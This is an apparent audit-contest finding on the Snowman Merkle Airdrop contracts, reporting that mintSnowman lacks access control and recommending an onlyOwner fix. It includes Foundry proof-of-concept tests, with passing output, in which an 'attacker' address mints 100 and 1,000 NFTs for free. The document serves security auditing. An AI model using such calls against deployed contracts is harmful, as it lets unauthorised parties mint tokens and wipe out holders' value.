Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
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Submission Details
Severity: high
Valid

Unprotected `mintSnowman` Function Allows Arbitrary NFT Minting

Unprotected mintSnowman Function Allows Arbitrary NFT Minting

Description

  • The Snowman.sol contract is an ERC721 implementation designed to provide "Snowman" NFTs to users who participate in the protocol's airdrop and staking system. Under normal operation, the contract should only allow minting via the authorized SnowmanAirdrop contract once a user's eligibility (Merkle proof and signature) has been verified.

  • The mintSnowman function is defined with external visibility but lacks any form of access control or authorization checks. There is no onlyOwner modifier, nor is there a check to ensure that the msg.sender is the intended airdrop contract.

// src/Snowman.sol
@> function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood: High

  • This vulnerability can be exploited at any time by any address on the Ethereum network simply by calling the function directly on the deployed contract.

  • Because the function is entirely unprotected, an attacker does not need to possess any Snow tokens, hold a valid Merkle proof, or provide a cryptographic signature to successfully mint NFTs.

Proof of Concept

The following Proof of Concept demonstrates how an attacker with zero tokens and no authorization can call the mintSnowman function to mint 100 NFTs to their own address. This renders the entire staking and airdrop mechanism of the protocol obsolete, as the NFTs (which are meant to be scarce rewards) can be generated at will by anyone.

// test/AuditPoC.t.sol
function test_unprotectedMint() public {
// 1. Setup an attacker address with no relation to the protocol
address attacker = makeAddr("attacker");
vm.prank(attacker);
// 2. The attacker calls the mintSnowman function directly on the NFT contract
// They request 100 NFTs to be minted to their address
snowman.mintSnowman(attacker, 100);
// 3. Verify that the attacker now owns 100 Snowman NFTs despite never staking Snow tokens
assertEq(snowman.balanceOf(attacker), 100);
console2.log("Attacker successfully minted 100 NFTs for free");
}

Recommended Mitigation

Restrict the mintSnowman function so that only the owner of the contract or the specific SnowmanAirdrop contract can invoke it. Implementing a modifier like onlyOwner or a custom onlyAirdrop modifier will prevent unauthorized external calls.

- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);

(Alternatively, initialize an airdrop address in the constructor and verify that msg.sender == airdrop in the function body).

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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